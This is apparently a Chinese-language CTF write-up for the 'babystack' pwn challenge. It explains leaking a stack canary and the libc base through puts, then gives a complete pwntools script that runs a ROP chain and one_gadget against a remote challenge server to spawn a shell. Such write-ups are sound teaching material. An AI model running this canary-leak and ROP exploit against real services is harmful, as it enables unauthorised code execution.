checksec检查
除了PIE外所有保护全开.
程序的大致逻辑是一个输入输出, 先将输入存储到缓冲区, 然后再输出
IDA打开后程序的主逻辑如下:
程序中没有发现system
函数以及bin/sh
等, 只有read
, puts
, write
. 附件中给出了libc
, libc
中有可利用的execve
大致思路是要通过主程序去泄漏出libc
的基地址, 然后通过libc中的execve
去get shell.
因为开启了canary, 首先要去找到canary的值, 由于输入值和canary的值在栈中相邻, 因此可以通过puts函数泄漏出canray的值.
可以第一步输入'a' * 0x88
, 然后第二步输出时泄漏canary的地址. 但是因为在发送'a' * 0x88
时会在末尾追加\n
, 因此会将canary低位的\x00
覆盖掉, 所以还要还原.
在得到canary的值后, 就需要去泄漏出libc的基地址. 因为程序中有使用到puts
函数, 所以通过调用puts
函数去计算出puts
函数的地址, 然后通过plt
, got
表的调用关系去计算出libc的基地址. 然后再算出运行时execve
的地址, 来进行调用.
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
# sh = process('./babystack')
sh = remote('61.147.171.105', 49628)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
execve_addr = 0x45216
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']
write_got = elf.got['write']
write_plt = elf.plt['write']
main = 0x400908
pop_rdi = 0x400A93
sh.sendlineafter('>> ',b'1')
sh.sendline(b'a' * 0x88)
#通过覆盖掉\x00来使得puts泄漏出canary
sh.sendlineafter('>> ', b'2')
sh.recvuntil('a' * 0x88 + '\n')
canary = u64(sh.recv(7).rjust(8, b'\x00'))
#将末尾的0xa替换回来
print("canary value : 0x%x" % canary)
sh.sendlineafter('>> ', b'1')
payload_1 = b'a' * 0x88 + p64(canary) + b'a' * 8 + \
p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#利用puts函数输出puts函数的地址
sh.sendline(payload_1)
sh.recv()
sh.sendlineafter('>> ', b'3')
put_addr = u64(sh.recv(8).ljust(8, b'\x00'))
print("puts address : 0x%x" % (put_addr))
libc_base = put_addr - libc.symbols['puts']
#计算基地址
bin_sh = libc_base + execve_addr
sh.sendlineafter('>> ', b'1')
payload = b'a' * 0x88 + p64(canary) + b'a' * 0x8 + p64(bin_sh)
#跳转到getshell
sh.sendline(payload)
sh.sendlineafter('>> ', b'3')
sh.interactive()